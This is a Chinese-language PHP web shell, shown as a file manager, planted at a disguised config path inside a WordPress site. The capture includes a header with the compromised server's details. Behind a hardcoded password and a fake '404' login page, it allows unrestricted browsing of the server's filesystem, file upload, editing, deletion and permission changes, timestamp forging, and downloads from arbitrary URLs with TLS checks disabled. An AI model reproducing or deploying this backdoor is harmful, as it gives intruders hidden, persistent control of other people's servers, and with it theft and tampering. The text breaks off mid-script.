HEX
Server: nginx/1.16.1
System: Linux VM-0-14-centos 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User: www (1000)
PHP: 8.3.31
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.sceysls.com/wp-content/languages/themes/default.conf.php
<?php
session_start();

$password = 'ghost';

function isAuthenticated() {
    return isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true;
}

if (!isAuthenticated()) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
        if ($_POST['password'] === $GLOBALS['password']) {
            session_regenerate_id(true);
            $_SESSION['authenticated'] = true;
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit;
        } else {
            echo "<p style='color:red;text-align:center;'>密码错误,请重试。</p>";
        }
    }

    echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>404 未找到</title></head><body>';
    echo '<div style="text-align:center; margin-top:100px;">';
    echo '<h2>文件管理器访问</h2>';
    echo '<form method="post">';
    echo '<input type="password" name="password" placeholder="请输入密码" required>';
    echo '<br><br><input type="submit" value="登录">';
    echo '</form></div></body></html>';
    exit;
}

if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

function isWindows() {
    return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
}

function fsPath($path) {
    return isWindows() ? str_replace('/', '\\', $path) : str_replace('\\', '/', $path);
}

function urlPath($path) {
    return str_replace('\\', '/', $path);
}

function getAvailableDrives() {
    $drives = array();

    if (isWindows()) {
        // 在 Windows 下检查所有可用驱动器
        foreach (range('A', 'Z') as $letter) {
            $drive_path = $letter . ':\\';
            if (is_dir($drive_path)) {
                $drives[] = $letter . ':';
            }
        }
        // 如果没找到任何驱动器,至少添加 C:
        if (empty($drives)) {
            $drives[] = 'C:';
        }
    } else {
        // Linux 下从根目录开始
        $drives[] = '/';
        // 也添加一些常见的目录
        $common_dirs = array('/home', '/var', '/usr', '/etc', '/tmp', '/opt');
        foreach ($common_dirs as $dir) {
            if (is_dir($dir)) {
                $drives[] = $dir;
            }
        }
    }

    return $drives;
}

function generateBreadcrumbs($root, $current_dir) {
    $breadcrumbs = "<a href='?drive=" . urlencode($root) . "'>根目录</a>";

    if (!empty($current_dir)) {
        $current_dir = trim(urlPath($current_dir), '/');
        $path_parts = explode('/', $current_dir);
        $current_path = '';

        foreach ($path_parts as $part) {
            if ($part !== '') {
                $current_path .= '/' . $part;
                $breadcrumbs .= " &gt; <a href='?drive=" . urlencode($root) . "&dir=" . urlencode($current_path) . "'>" . htmlspecialchars($part) . "</a>";
            }
        }
    }

    return $breadcrumbs;
}

function deleteDirectory($dir) {
    if (is_link($dir) || is_file($dir)) {
        return unlink($dir);
    }

    if (!is_dir($dir)) {
        return false;
    }

    $files = array_diff(scandir($dir), array('.', '..'));

    foreach ($files as $file) {
        $path = $dir . DIRECTORY_SEPARATOR . $file;

        if (is_dir($path) && !is_link($path)) {
            deleteDirectory($path);
        } else {
            unlink($path);
        }
    }

    return rmdir($dir);
}

function formatBytes($size, $precision = 2) {
    if ($size <= 0) {
        return '0 B';
    }

    $suffixes = array('B', 'KB', 'MB', 'GB', 'TB');
    $base = floor(log($size, 1024));
    $base = min($base, count($suffixes) - 1);

    return round($size / pow(1024, $base), $precision) . ' ' . $suffixes[$base];
}

function getPermissions($file) {
    if (isWindows()) {
        return 'N/A';
    }

    $perms = @fileperms($file);
    if ($perms === false) {
        return 'N/A';
    }
    return substr(sprintf('%o', $perms), -4);
}

function getPermissionsString($file) {
    if (isWindows()) {
        return is_writable($file) ? '可写' : '只读';
    }

    $perms = @fileperms($file);
    if ($perms === false) {
        return 'N/A';
    }
    
    $info = '';

    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));

    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));

    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));

    return $info;
}

function getCurrentBaseUrl() {
    $https = false;

    if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') {
        $https = true;
    }

    if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        $https = true;
    }

    $scheme = $https ? 'https' : 'http';
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';

    return $scheme . '://' . $host;
}

function buildPublicUrl($file_path) {
    if (empty($_SERVER['DOCUMENT_ROOT'])) {
        return false;
    }

    $document_root = realpath($_SERVER['DOCUMENT_ROOT']);
    $real_file = realpath($file_path);

    if ($document_root === false || $real_file === false) {
        return false;
    }

    $document_root = rtrim(urlPath($document_root), '/');
    $real_file = urlPath($real_file);

    if ($real_file !== $document_root && strpos($real_file, $document_root . '/') !== 0) {
        return false;
    }

    $relative_path = ltrim(substr($real_file, strlen($document_root)), '/');

    if ($relative_path === '') {
        return getCurrentBaseUrl() . '/';
    }

    $parts = array_map('rawurlencode', explode('/', $relative_path));

    return rtrim(getCurrentBaseUrl(), '/') . '/' . implode('/', $parts);
}

function canOpenAsWebPage($filename) {
    $allowed = array(
        'php', 'html', 'htm',
        'css', 'js',
        'txt', 'json', 'xml',
        'jpg', 'jpeg', 'png', 'gif', 'webp', 'svg',
        'pdf'
    );

    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

    return in_array($ext, $allowed, true);
}

function safeName($name) {
    return basename(str_replace('\\', '/', $name));
}

// 获取可用驱动器
$available_drives = getAvailableDrives();
$script_dir = urlPath(dirname(__FILE__));

// 默认根目录设置
if (isWindows()) {
    $drive_letter = substr($script_dir, 0, 2);
    $root = in_array($drive_letter, $available_drives) ? $drive_letter : $available_drives[0];
} else {
    $root = '/';
}

// 如果选择了特定驱动器
if (isset($_GET['drive']) && in_array($_GET['drive'], $available_drives, true)) {
    $root = $_GET['drive'];
}

$root_path = isWindows() ? $root . '\\' : $root;

$current_dir = isset($_GET['dir']) ? $_GET['dir'] : '';

if (empty($current_dir) && !isset($_GET['dir'])) {
    if (isWindows()) {
        if (strlen($script_dir) > 2) {
            $current_dir = substr($script_dir, 3);
        }
    } else {
        $current_dir = ($script_dir === '/') ? '' : ltrim($script_dir, '/');
    }
}

$current_dir = urlPath($current_dir);

$appended = fsPath(ltrim($current_dir, '/'));

if ($appended) {
    $full_path = rtrim($root_path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $appended;
} else {
    $full_path = $root_path;
}

$upload_message = '';
$error_message = '';

// 自定义路径跳转
if (isset($_POST['custom_path'])) {
    $custom_path = fsPath($_POST['custom_path']);
    
    // 尝试访问用户指定的路径
    if (is_dir($custom_path)) {
        $full_path = $custom_path;
        
        if (isWindows()) {
            $drive_letter = substr($custom_path, 0, 2);
            if (in_array($drive_letter, $available_drives, true)) {
                $root = $drive_letter;
                $root_path = $root . '\\';
                $current_dir = substr($custom_path, strlen($root_path));
                $current_dir = urlPath($current_dir);
            }
        } else {
            // 尝试匹配根目录
            $matched = false;
            foreach ($available_drives as $drive) {
                if (strpos($custom_path, $drive) === 0) {
                    $root = $drive;
                    $root_path = $drive;
                    $current_dir = ltrim(substr($custom_path, strlen($drive)), '/');
                    $current_dir = urlPath($current_dir);
                    $matched = true;
                    break;
                }
            }
            if (!$matched) {
                $root = '/';
                $root_path = '/';
                $current_dir = ltrim(urlPath($custom_path), '/');
            }
        }
    } else {
        $error_message = "路径不存在或无法访问,请检查路径是否正确。";
    }
}

// 如果路径无效,回到根目录
if (!is_dir($full_path)) {
    $full_path = $root_path;
    $current_dir = '';
    $error_message = "当前路径无效,已返回根目录。";
}

// 处理 POST 请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
    switch ($_POST['action']) {
        case 'chmod':
            if (isset($_POST['filename'], $_POST['permission'])) {
                $file_to_chmod = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['filename']);
                $permission = $_POST['permission'];

                if (preg_match('/^[0-7]{3,4}$/', $permission)) {
                    if (file_exists($file_to_chmod)) {
                        if (@chmod($file_to_chmod, octdec($permission))) {
                            $upload_message = "权限修改成功:" . $permission;
                        } else {
                            $error_message = "无法修改权限。";
                        }
                    } else {
                        $error_message = "文件或目录未找到。";
                    }
                } else {
                    $error_message = "权限格式无效。";
                }
            }
            break;

        case 'create_file':
            if (!empty($_POST['filename'])) {
                $new_file = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['filename']);

                if (file_exists($new_file)) {
                    $error_message = "文件已存在。";
                } elseif (@file_put_contents($new_file, '') !== false) {
                    $upload_message = "文件创建成功。";
                } else {
                    $error_message = "无法创建文件。";
                }
            }
            break;

        case 'create_folder':
            if (!empty($_POST['foldername'])) {
                $new_folder = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['foldername']);

                if (file_exists($new_folder)) {
                    $error_message = "文件夹已存在。";
                } elseif (@mkdir($new_folder, 0755)) {
                    $upload_message = "文件夹创建成功。";
                } else {
                    $error_message = "无法创建文件夹。";
                }
            }
            break;

        case 'rename':
            if (isset($_POST['old_name'], $_POST['new_name']) && $_POST['new_name'] !== '') {
                $old_name = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['old_name']);
                $new_name = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['new_name']);

                if (file_exists($old_name) && !file_exists($new_name) && @rename($old_name, $new_name)) {
                    $upload_message = "项目重命名成功。";
                } else {
                    $error_message = "无法重命名项目。";
                }
            }
            break;

        case 'delete':
            if (isset($_POST['filename'])) {
                $file_to_delete = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['filename']);

                if (file_exists($file_to_delete)) {
                    if (is_dir($file_to_delete) && !is_link($file_to_delete)) {
                        $upload_message = deleteDirectory($file_to_delete) ? "目录删除成功。" : "无法删除目录。";
                    } else {
                        $upload_message = @unlink($file_to_delete) ? "文件删除成功。" : "无法删除文件。";
                    }
                }
            }
            break;

        case 'upload':
            if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) {
                $upload_name = safeName($_FILES['fileToUpload']['name']);
                $target_file = $full_path . DIRECTORY_SEPARATOR . $upload_name;

                if (@move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target_file)) {
                    $upload_message = "文件上传成功。";
                } else {
                    $error_message = "无法上传文件。";
                }
            } else {
                $error_message = "上传发生错误。";
            }
            break;

        case 'save':
            if (isset($_POST['filename'], $_POST['content'])) {
                $file_to_save = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['filename']);

                if (is_file($file_to_save) && @file_put_contents($file_to_save, $_POST['content']) !== false) {
                    $upload_message = "文件保存成功。";
                } else {
                    $error_message = "无法保存文件。";
                }
            }
            break;

        case 'change_timestamp':
            if (isset($_POST['filename'], $_POST['timestamp'])) {
                $file_to_modify = $full_path . DIRECTORY_SEPARATOR . safeName($_POST['filename']);
                $timestamp = strtotime($_POST['timestamp']);

                if (file_exists($file_to_modify) && $timestamp !== false) {
                    if (@touch($file_to_modify, $timestamp, $timestamp)) {
                        $upload_message = "时间戳修改成功。";
                    } else {
                        $error_message = "无法修改时间戳。";
                    }
                } else {
                    $error_message = "文件或目录未找到,或时间格式无效。";
                }
            }
            break;

        case 'remote_download':
            if (!empty($_POST['url'])) {
                $url = $_POST['url'];
                $custom_name = !empty($_POST['custom_name']) ? safeName($_POST['custom_name']) : safeName(parse_url($url, PHP_URL_PATH));

                if ($custom_name === '') {
                    $custom_name = 'downloaded_file';
                }

                $target_file = $full_path . DIRECTORY_SEPARATOR . $custom_name;
                $data = false;

                if (preg_match('/^https?:\/\//i', $url)) {
                    if (function_exists('curl_init')) {
                        $ch = curl_init($url);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // 为了兼容性
                        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
                        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
                        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
                        $data = curl_exec($ch);
                        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                        curl_close($ch);

                        if ($http_code < 200 || $http_code >= 300) {
                            $data = false;
                        }
                    } else {
                        $data = @file_get_contents($url);
                    }

                    if ($data !== false && @file_put_contents($target_file, $data) !== false) {
                        $upload_message = "远程文件下载成功。";
                    } else {
                        $error_message = "无法下载远程文件。";
                    }
                } else {
                    $error_message = "只允许 http 或 https 地址。";
                }
            }
            break;
    }
}

// 处理文件下载
if (isset($_GET['download'])) {
    $file_to_download = $full_path . DIRECTORY_SEPARATOR . safeName($_GET['download']);

    if (file_exists($file_to_download) && is_file($file_to_download) && is_readable($file_to_download)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
        header('Content-Length: ' . filesize($file_to_download));
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        readfile($file_to_download);
        exit;
    } else {
        $error_message = "文件不存在或无法读取。";
    }
}

// 处理文件查看
if (isset($_GET['view'])) {
    $file_to_view = $full_path . DIRECTORY_SEPARATOR . safeName($_GET['view']);

    if (file_exists($file_to_view) && is_file($file_to_view) && is_readable($file_to_view)) {
        $max_view_size = 10 * 1024 * 1024; // 增加到 10MB

        if (filesize($file_to_view) > $max_view_size) {
            echo "文件过大(超过 10MB),不支持在线查看。";
            exit;
        }

        $content = htmlspecialchars(@file_get_contents($file_to_view));

        echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>查看:" . htmlspecialchars($_GET['view']) . "</title>";
        echo "<style>body{font-family:monospace;margin:20px;}pre{background:#f4f4f4;padding:15px;border-radius:5px;overflow-x:auto;}</style></head><body>";
        echo "<h2>文件:" . htmlspecialchars($_GET['view']) . "</h2>";
        echo "<pre>" . $content . "</pre>";
        echo "<br><a href='javascript:history.back()' style='background:#007cba;color:white;padding:8px 16px;text-decoration:none;border-radius:3px;'>返回</a>";
        echo "</body></html>";
        exit;
    }
}

// 获取目录内容
$contents = array();

if (is_dir($full_path) && is_readable($full_path)) {
    $scan_result = @scandir($full_path);

    if ($scan_result !== false) {
        $contents = $scan_result;
    } else {
        $error_message = "无法读取目录内容。";
    }
} else {
    $error_message = "无法访问目录。";
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>增强型文件管理器 - 无限制版</title>
    <meta charset="UTF-8">
    <style>
        body { font-family: Arial, sans-serif; margin: 0; padding: 20px; background: #f5f5f5; }
        .container { max-width: 1500px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
        .header { border-bottom: 2px solid #007cba; padding-bottom: 15px; margin-bottom: 20px; }
        .top-actions { float: right; }
        .drive-selector { margin: 10px 0; }
        .drive-selector select { padding: 5px; margin-right: 10px; }
        .breadcrumbs { background: #e9f4ff; padding: 10px; border-radius: 5px; margin: 10px 0; }
        .operations { display: flex; flex-wrap: wrap; gap: 10px; margin: 15px 0; }
        .operation-form { background: #f8f9fa; padding: 15px; border-radius: 5px; border: 1px solid #ddd; }
        .operation-form h4 { margin-top: 0; color: #007cba; }
        .operation-form input, .operation-form textarea { margin: 5px 0; padding: 5px; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { padding: 10px; text-align: left; border-bottom: 1px solid #ddd; font-size: 13px; vertical-align: middle; }
        th { background-color: #007cba; color: white; }
        tr:hover { background-color: #f5f5f5; }
        .folder { color: #007cba; font-weight: bold; text-decoration: none; }
        .file { color: #333; }
        .actions { white-space: nowrap; }
        .btn { background: #007cba; color: white; padding: 5px 10px; text-decoration: none; border-radius: 3px; border: none; cursor: pointer; margin: 2px; font-size: 12px; display: inline-block; }
        .btn:hover { background: #005a87; }
        .btn-danger { background: #dc3545; }
        .btn-danger:hover { background: #c82333; }
        .btn-warning { background: #ffc107; color: #000; }
        .btn-warning:hover { background: #e0a800; }
        .btn-web { background: #28a745; }
        .btn-web:hover { background: #1e7e34; }
        .btn-success { background: #28a745; }
        .btn-success:hover { background: #1e7e34; }
        .message { padding: 10px; margin: 10px 0; border-radius: 5px; }
        .success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
        .error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
        .custom-path { margin: 15px 0; }
        .custom-path input[type="text"] { width: 450px; padding: 8px; }
        .file-editor { margin-top: 20px; padding: 15px; background: #f8f9fa; border-radius: 5px; }
        .file-editor textarea { width: 100%; min-height: 300px; font-family: monospace; }
        .permission-badge { background: #28a745; color: white; padding: 2px 6px; border-radius: 3px; font-family: monospace; font-size: 11px; }
        .permission-form { display: inline-block; margin-left: 5px; }
        .permission-form input[type="text"] { width: 60px; padding: 3px; font-family: monospace; }
        .permission-info { font-size: 11px; color: #666; font-family: monospace; margin-left: 5px; }
        .muted { color: #666; }
        .unrestricted-notice { background: #d1ecf1; color: #0c5460; padding: 10px; border-radius: 5px; margin: 10px 0; border: 1px solid #bee5eb; }
        .unrestricted-notice strong { color: #0c5460; }
    </style>
</head>
<body>
<div class="container">
    <div class="header">
        <div class="top-actions">
            <a href="?logout=1" class="btn btn-danger">退出</a>
        </div>

        <h1>🚀 增强型文件管理器 - 无限制版</h1>
        
        <div class="unrestricted-notice">
            <strong>⚡ 无限制模式:</strong> 此版本可以访问服务器上的任何目录(需要 PHP 进程有相应权限)
        </div>

        <p>当前路径:<strong><?php $real_path = realpath($full_path); echo htmlspecialchars($real_path ? $real_path : $full_path); ?></strong></p>
        <p>脚本位置:<strong><?php echo htmlspecialchars(dirname(__FILE__)); ?></strong></p>
        <p>当前网站:<strong><?php echo htmlspecialchars(getCurrentBaseUrl()); ?></strong></p>
        <p>网站根目录 DOCUMENT_ROOT:<strong><?php echo htmlspecialchars(isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '未知'); ?></strong></p>
        <p>OS:<strong><?php echo PHP_OS; ?></strong> | PHP:<strong><?php echo PHP_VERSION; ?></strong></p>

        <div class="drive-selector">
            <label>选择根目录:</label>
            <select onchange="window.location.href='?drive=' + encodeURIComponent(this.value)">
                <?php foreach ($available_drives as $drive): ?>
                    <option value="<?php echo htmlspecialchars($drive); ?>" <?php echo ($drive === $root) ? 'selected' : ''; ?>>
                        <?php echo htmlspecialchars($drive); ?>
                    </option>
                <?php endforeach; ?>
            </select>
        </div>
    </div>

    <?php if ($upload_message): ?>
        <div class="message success">✅ <?php echo htmlspecialchars($upload_message); ?></div>
    <?php endif; ?>

    <?php if ($error_message): ?>
        <div class="message error">❌ <?php echo htmlspecialchars($error_message); ?></div>
    <?php endif; ?>

    <div class="breadcrumbs">
        <strong>导航:</strong><?php echo generateBreadcrumbs($root, $current_dir); ?>
    </div>

    <div class="custom-path">
        <form method="post" style="display:inline;">
            <label>转到路径:</label>
            <input type="text" name="custom_path" placeholder="输入完整路径..." value="<?php $real_path = realpath($full_path); echo htmlspecialchars($real_path ? $real_path : $full_path); ?>">
            <input type="submit" value="转到" class="btn btn-success">
        </form>
        <button onclick="goToScriptDirectory()" class="btn">转到脚本目录</button>
        <?php if (!empty($_SERVER['DOCUMENT_ROOT'])): ?>
            <button onclick="goToDocumentRoot()" class="btn btn-web">转到网站根目录</button>
        <?php endif; ?>
        <button onclick="goToRoot()" class="btn btn-warning">转到系统根目录</button>
    </div>

    <div class="operations">
        <div class="operation-form">
            <h4>📄 创建文件</h4>
            <form method="post">
                <input type="hidden" name="action" value="create_file">
                <input type="text" name="filename" placeholder="文件名.txt" required>
                <input type="submit" value="创建" class="btn">
            </form>
        </div>

        <div class="operation-form">
            <h4>📁 创建文件夹</h4>
            <form method="post">
                <input type="hidden" name="action" value="create_folder">
                <input type="text" name="foldername" placeholder="文件夹名" required>
                <input type="submit" value="创建" class="btn">
            </form>
        </div>

        <div class="operation-form">
            <h4>⬆️ 上传文件</h4>
            <form method="post" enctype="multipart/form-data">
                <input type="hidden" name="action" value="upload">
                <input type="file" name="fileToUpload" required>
                <input type="submit" value="上传" class="btn">
            </form>
        </div>

        <div class="operation-form">
            <h4>🌐 远程下载</h4>
            <form method="post">
                <input type="hidden" name="action" value="remote_download">
                <input type="url" name="url" placeholder="https://example.com/file.zip" required style="width:250px;"><br>
                <input type="text" name="custom_name" placeholder="自定义文件名(可选)" style="width:250px;">
                <input type="submit" value="下载" class="btn">
            </form>
        </div>
    </div>

    <?php if (!isWindows()): ?>
        <div style="background:#fff3cd;padding:10px;border-radius:5px;margin:10px 0;border:1px solid #ffc107;">
            <strong>权限指南:</strong>
            <span style="font-family:monospace;margin-left:10px;">
                0777 = rwxrwxrwx | 0755 = rwxr-xr-x | 0644 = rw-r--r-- | 0600 = rw-------
            </span>
        </div>
    <?php endif; ?>

    <table>
        <thead>
        <tr>
            <th>名称</th>
            <th>类型</th>
            <th>大小</th>
            <th>权限</th>
            <th>修改时间</th>
            <th>操作</th>
        </tr>
        </thead>
        <tbody>
        <?php if (!empty($current_dir)): ?>
            <?php
            $parent_dir = dirname($current_dir);
            if ($parent_dir === '.' || $parent_dir === DIRECTORY_SEPARATOR) {
                $parent_dir = '';
            }
            ?>
            <tr>
                <td colspan="6">
                    <a href="?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($parent_dir); ?>" class="folder">
                        📁 .. 上级目录
                    </a>
                </td>
            </tr>
        <?php endif; ?>

        <?php
        $directories = array();
        $files = array();

        foreach ($contents as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }

            $item_path = $full_path . DIRECTORY_SEPARATOR . $item;

            if (is_dir($item_path)) {
                $directories[] = $item;
            } else {
                $files[] = $item;
            }
        }

        sort($directories);
        sort($files);

        foreach ($directories as $dir):
            $dir_path = $full_path . DIRECTORY_SEPARATOR . $dir;
            $dir_url = $current_dir ? $current_dir . '/' . $dir : $dir;
            $perms = getPermissions($dir_path);
            $perms_string = getPermissionsString($dir_path);
        ?>
            <tr>
                <td>
                    <a href="?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($dir_url); ?>" class="folder">
                        📁 <?php echo htmlspecialchars($dir); ?>
                    </a>
                </td>
                <td>目录</td>
                <td>-</td>
                <td>
                    <span class="permission-badge"><?php echo htmlspecialchars($perms); ?></span>
                    <span class="permission-info"><?php echo htmlspecialchars($perms_string); ?></span>

                    <?php if (!isWindows()): ?>
                        <form method="post" class="permission-form">
                            <input type="hidden" name="action" value="chmod">
                            <input type="hidden" name="filename" value="<?php echo htmlspecialchars($dir); ?>">
                            <input type="text" name="permission" placeholder="0755">
                            <input type="submit" value="设置" class="btn btn-warning">
                        </form>
                    <?php endif; ?>
                </td>
                <td>
                    <?php echo date('Y-m-d H:i:s', @filemtime($dir_path)); ?>
                    <form method="post" style="display:inline;margin-left:10px;">
                        <input type="hidden" name="action" value="change_timestamp">
                        <input type="hidden" name="filename" value="<?php echo htmlspecialchars($dir); ?>">
                        <input type="datetime-local" name="timestamp" value="<?php echo date('Y-m-d', @filemtime($dir_path)) . 'T' . date('H:i', @filemtime($dir_path)); ?>" style="width:160px;padding:3px;font-size:11px;">
                        <input type="submit" value="⏱" class="btn" style="padding:3px 8px;font-size:11px;">
                    </form>
                </td>
                <td class="actions">
                    <form method="post" style="display:inline;">
                        <input type="hidden" name="action" value="rename">
                        <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($dir); ?>">
                        <input type="text" name="new_name" value="<?php echo htmlspecialchars($dir); ?>" style="width:100px;">
                        <input type="submit" value="重命名" class="btn">
                    </form>

                    <form method="post" style="display:inline;">
                        <input type="hidden" name="action" value="delete">
                        <input type="hidden" name="filename" value="<?php echo htmlspecialchars($dir); ?>">
                        <input type="submit" value="删除" class="btn btn-danger" onclick="return confirm('确定要删除此目录吗?')">
                    </form>
                </td>
            </tr>
        <?php endforeach; ?>

        <?php foreach ($files as $file):
            $file_path = $full_path . DIRECTORY_SEPARATOR . $file;
            $file_size = is_readable($file_path) ? filesize($file_path) : 0;
            $perms = getPermissions($file_path);
            $perms_string = getPermissionsString($file_path);

            $public_url = false;
            if (canOpenAsWebPage($file)) {
                $public_url = buildPublicUrl($file_path);
            }
        ?>
            <tr>
                <td class="file">📄 <?php echo htmlspecialchars($file); ?></td>
                <td>文件</td>
                <td><?php echo htmlspecialchars(formatBytes($file_size)); ?></td>
                <td>
                    <span class="permission-badge"><?php echo htmlspecialchars($perms); ?></span>
                    <span class="permission-info"><?php echo htmlspecialchars($perms_string); ?></span>

                    <?php if (!isWindows()): ?>
                        <form method="post" class="permission-form">
                            <input type="hidden" name="action" value="chmod">
                            <input type="hidden" name="filename" value="<?php echo htmlspecialchars($file); ?>">
                            <input type="text" name="permission" placeholder="0644">
                            <input type="submit" value="设置" class="btn btn-warning">
                        </form>
                    <?php endif; ?>
                </td>
                <td>
                    <?php echo date('Y-m-d H:i:s', @filemtime($file_path)); ?>
                    <form method="post" style="display:inline;margin-left:10px;">
                        <input type="hidden" name="action" value="change_timestamp">
                        <input type="hidden" name="filename" value="<?php echo htmlspecialchars($file); ?>">
                        <input type="datetime-local" name="timestamp" value="<?php echo date('Y-m-d', @filemtime($file_path)) . 'T' . date('H:i', @filemtime($file_path)); ?>" style="width:160px;padding:3px;font-size:11px;">
                        <input type="submit" value="⏱" class="btn" style="padding:3px 8px;font-size:11px;">
                    </form>
                </td>
                <td class="actions">
                    <?php if ($public_url): ?>
                        <a href="<?php echo htmlspecialchars($public_url); ?>" class="btn btn-web" target="_blank" rel="noopener noreferrer">打开网页</a>
                    <?php else: ?>
                        <span class="muted">非网站目录</span>
                    <?php endif; ?>

                    <a href="?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($current_dir); ?>&view=<?php echo urlencode($file); ?>" class="btn">查看</a>

                    <a href="?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($current_dir); ?>&download=<?php echo urlencode($file); ?>" class="btn">下载</a>

                    <button onclick="editFile('<?php echo addslashes(htmlspecialchars($file)); ?>')" class="btn">编辑</button>

                    <form method="post" style="display:inline;">
                        <input type="hidden" name="action" value="rename">
                        <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($file); ?>">
                        <input type="text" name="new_name" value="<?php echo htmlspecialchars($file); ?>" style="width:100px;">
                        <input type="submit" value="重命名" class="btn">
                    </form>

                    <form method="post" style="display:inline;">
                        <input type="hidden" name="action" value="delete">
                        <input type="hidden" name="filename" value="<?php echo htmlspecialchars($file); ?>">
                        <input type="submit" value="删除" class="btn btn-danger" onclick="return confirm('确定要删除此文件吗?')">
                    </form>
                </td>
            </tr>
        <?php endforeach; ?>
        </tbody>
    </table>

    <div class="file-editor" id="file-editor" style="display:none;">
        <h3>📝 文件编辑器</h3>
        <form method="post">
            <input type="hidden" name="action" value="save">
            <input type="hidden" name="filename" id="edit-filename">
            <textarea name="content" id="edit-content" placeholder="文件内容..."></textarea><br>
            <input type="submit" value="保存文件" class="btn btn-success">
            <button type="button" onclick="document.getElementById('file-editor').style.display='none'" class="btn">取消</button>
        </form>
    </div>

    <div style="margin-top:30px;padding-top:20px;border-top:1px solid #ddd;text-align:center;color:#666;">
        <p>🚀 增强型文件管理器 - 无限制版 | PHP <?php echo PHP_VERSION; ?> | <?php echo PHP_OS; ?></p>
        <p style="font-size:12px;color:#999;">⚠️ 此版本没有任何路径限制,请谨慎使用</p>
    </div>
</div>

<script>
function editFile(filename) {
    const editor = document.getElementById('file-editor');
    const filenameInput = document.getElementById('edit-filename');
    const contentTextarea = document.getElementById('edit-content');

    filenameInput.value = filename;
    editor.style.display = 'block';

    const xhr = new XMLHttpRequest();
    xhr.open(
        'GET',
        '?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($current_dir); ?>&view=' + encodeURIComponent(filename),
        true
    );

    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            const parser = new DOMParser();
            const doc = parser.parseFromString(xhr.responseText, 'text/html');
            const preElement = doc.querySelector('pre');

            if (preElement) {
                contentTextarea.value = preElement.textContent;
            } else {
                contentTextarea.value = '';
            }
        }
    };

    xhr.send();
    editor.scrollIntoView();
}

function goToScriptDirectory() {
    <?php
    $script_path = urlPath(dirname(__FILE__));

    if (isWindows()) {
        $drive = substr($script_path, 0, 2);
        $path = strlen($script_path) > 2 ? substr($script_path, 3) : '';
